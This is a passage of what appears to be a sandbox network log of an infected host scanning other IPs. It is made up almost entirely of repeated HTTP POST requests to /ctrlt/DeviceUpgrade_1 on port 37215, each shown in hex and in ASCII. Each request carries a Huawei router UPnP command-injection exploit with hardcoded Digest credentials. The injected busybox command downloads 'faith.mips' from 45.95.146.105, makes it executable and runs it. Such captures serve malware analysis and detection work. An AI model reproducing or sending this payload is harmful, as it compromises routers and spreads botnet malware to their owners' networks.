6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:17.437781096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:19.421494961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:23.548933983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:31.483867884 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:47.353693962 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:20.373085022 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	39552	94.121.152.25	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:23.427289009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	37922	92.95.251.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:23.665817976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:24.412798882 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 